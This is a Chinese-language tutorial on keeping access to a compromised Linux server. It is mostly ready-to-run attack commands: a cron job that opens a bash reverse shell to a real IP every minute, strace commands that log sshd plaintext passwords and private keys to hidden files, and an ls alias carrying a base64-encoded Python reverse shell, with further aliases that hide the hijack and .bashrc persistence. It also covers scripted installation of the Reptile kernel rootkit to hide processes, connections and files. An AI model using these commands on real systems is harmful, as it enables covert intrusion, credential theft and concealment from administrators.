权限维持-Linux-定时任务-Cron后门
利用系统的定时任务功能进行反弹Shell
1、编辑后门反弹shell脚本
vim /etc/.xiaodi.sh
内容:
#!/bin/bash
bash -i >& /dev/tcp/47.94.236.117/3333 0>&1
chmod +x /etc/.xiaodi.sh
2、添加定时任务
vim /etc/crontab
*/1 * * * * root /etc/.xiaodi.sh #表示每分钟执行一次
这个定时任务用的是直接修改 /etc/crontab的方式,这个文件会对所有的用户生效,同时使用crontab命令是看不到的,如果是使用crontab -e的方式添加的任务使用crontab -l是看得到的,不过也有隐藏此任务的方式
可以看看 https://www.cnblogs.com/awake1t/p/14498443.html
不过此方式也是对于-l 命令的隐藏和对于直接查看任务记录文件,还是可以通过 -A参数查看
权限维持-Linux-监控功能-Strace后门
strace是一个动态跟踪工具,它可以跟踪系统调用的执行。
我们可以把他当成一个键盘记录的后门,来扩大我们的信息收集范围
1、记录sshd明文
(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2> /tmp/.sshd.log &)
查看
grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log
输入第一条命令后再使用ssh进行登录然后使用第二条命令进行查看可以看到命令明文密码,同时此密码被保存在了/tmp/.ssh.log中
2、记录sshd私钥
记录
(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 4096 2> /tmp/.sshd.log &)
查看
grep 'PRIVATE KEY' /tmp/.sshd.log
此方法也是同样的可以用来记录ssh登录的私钥保存到文件中。
权限维持-Linux-命令自定义-Alias后门
alias命令的功能:为命令设置别名
定义:alias ls='ls -al'
删除:unalias ls
每次输入ls命令的时候都能实现ls -al
不过此命令修改后重启就失效了,可以通过修改启动项文件实现维持
1、简单:
这种直接反弹shell的方式再执行了替换后的命令后会因为建立了链接从而卡住。
alias ls='alerts(){ ls $* --color=auto;bash -i >& /dev/tcp/47.94.236.117/3333 0>&1; };alerts'
2、升级:
其实就是换了个反弹shell的命令,用的python去执行的,相当于重新使用python起了了一个链接所以shell界面不会卡住,中间这一段base64编码的内容就是反弹shell的代码,记得修改监听的ip和端口再编码使用。如果可以使用python我想php应该也是可以的(只使用第一段代码,后面两个是用来持久化的)
alias ls='alerts(){ ls $* --color=auto;python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'\''UTF-8'\'')}[sys.version_info[0]]('\''aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiNDcuOTQuMjM2LjExNyIsIDY2NjYpKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMCkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDEpCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAyKQogICAgICAgIHAgPSBzdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwgIi1pIl0pCiAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6CiAgICAgICAgZXhpdCgp'\'')))";};alerts'
alias unalias='alerts(){ if [ $# != 0 ]; then if [ $* != "ls" ]&&[ $* != "alias" ]&&[ $* != "unalias" ]; then unalias $*;else echo "-bash: unalias: ${*}: not found";fi;else echo "unalias: usage: unalias [-a] name [name ...]";fi;};alerts'
alias alias='alerts(){ alias "$@" | grep -v unalias | sed "s/alerts.*lambda.*/ls --color=auto'\''/";};alerts'
3、持久化+隐藏:重启依旧生效
vim /etc/upload # 这个文件中放置上面升级版的全部内容
vim ~/.bashrc #此文件相当于是Windows的启动项文件,修改这个文件使得达到持久化的目的。不过阿里云服务器不可以修改这个文件,可能是有保护机制。
if [ -f /etc/upload ]; then
. /etc/upload
fi
权限维持-Linux-内核加载LKM-Rootkit后门
现在常用的linux维持权限的方法大多用crontab和开机自启动,同时使用的大多是msf 或者其它的tcp连接来反弹shell ,这种做法比较容易被管理员发现。所以我们想有一个非tcp连接、流量不容易被怀疑的后门,并且在大量的shell的场景下,可以管shell,Reptile刚好是种LKM rootkit,因此具有很好的隐藏性和强大的功能。
主要还是常见的反弹shell的链接太过明显,查看链接就可以看到奇怪的链接一下就发现了,通过内核级的rootkit可以实现隐藏进程隐藏链接实现真正的隐藏。
项目地址: https://github.com/f0rb1dd3n/Reptile
自动化脚本搭建
保存为sh文件
Centos系统脚本
$kernel=uname -r
centos
yum -y install perl vim gcc make g++ unzip
#由于Cenots内核管理不便,所以使用下载对应版本的kernel-devel到本地
yum -y localinstall kernel-devel-"$kernal".rpm
cd Reptile-2.0/ && chmod +x ./setup.sh # Reptile-2.0/这个是目录,需要自定义根据自己的情况,文件即是从项目地址下载的
./setup.sh install <<EOF
reptile
hax0r
s3cr3t
reptile
666
y
47.94.236.117
4444
1
EOF
# 监听的ip还有端口这里也要修改s3cr3t和reptile是连接的账号和密码,后面会用到
ubuntu系统脚本
apt-get install vim gcc make g++ unzip -y
apt-get -y install linux-headers-$(uname -r)
cd Reptile-2.0/ && chmod +x ./setup.sh
./setup.sh install <<EOF
reptile
hax0r
s3cr3t
reptile
666
y
47.94.236.117
4444
1
EOF
用脚本进行安装的那个Reptile-2.0/不会删除,为了隐藏可以手动删除文件夹。
如果要手动安装也是用项目中的setup.sh执行就可以了
我这里使用的本地的centos7可以使用项目的setup.sh直接进行安装不用使用脚本,我估计是需要安装的一些命令没有所以才会报错的或者环境变量的问题。
这里的666端口是占用靶机本地的端口和远程进行通信
1、使用参考:
https://github.com/f0rb1dd3n/Reptile/wiki
1、隐藏进程:
/reptile/reptile_cmd hide
显示进程:
/reptile/reptile_cmd show
创建一个ping的进程
nohup ping 114.114.114.114 &
查看进程
ps -ef | grep ping | grep -v grep
使用命令隐藏进程
/reptile/reptile_cmd hide 6278
再次查看进程
ps -ef | grep ping | grep -v grep
让他再显示出来
/reptile/reptile_cmd show 6278
2、隐藏连接:
/reptile/reptile_cmd udp hide
显示连接:
/reptile/reptile_cmd tcp show
netstat -anpt | grep 100.100.45.106 #这里假如建立了一个与100.100.45.106的通信的tcp连接
/reptile/reptile_cmd tcp 100.100.45.106 5555 hide #隐藏tcp协议的,目的地址是100.100.45.106目的端口是5555的进程
3、隐藏文件:
文件名中带reptile的都会被隐藏
mkdir reptile_dreamer292
mkdir reptile_file
ls -al
cd reptile_dreamer292
2、高级玩法
客户端安装
./setup.sh client #我的kali算是比较新的版本安装时报了错后面看脚本去排查发现需要apt install libreadline-dev 安装一个这个即可,其实是缺了一些库
cd bin
./client #即可进入客户端
设置连接配置(有些类似msf,命令区分大小写)
set LHOST 192.168.152.56 #Local host to receive the shell
set LPORT 4444 #Local port to receive the shell
set SRCHOST 192.168.152.56 #Source host on magic packets (spoof)
set SRCPORT 666 #Source port on magic packets (only for TCP/UDP) (这里就是前面设置的占用靶机的端口)
set RHOST 192.168.152.62 #Remote host
set RPORT 22 #Remote port (only for TCP/UDP)(伪装的端口,相当于进程注入)
set PROT tcp #Protocol to send magic packet (ICMP/TCP/UDP)(协议类型)
set PASS s3cr3t #Backdoor password (optional)(前面定义的密码)
set TOKEN hax0r #Token to trigger the shell(前面定义的账号)
设置好后直接开run
连接成功
进入shell
并且在靶机那边是看不到任何的链接的情况的
已经算是一个c2了,好恐怖的rootkit,太强了。
rootkit的查杀是最麻烦的一种,因为根本不知道他都对内核修改了什么东西,一旦中了rootkit基本就是寄了所以防范的方法只有在植入rootkit之前进行拦截。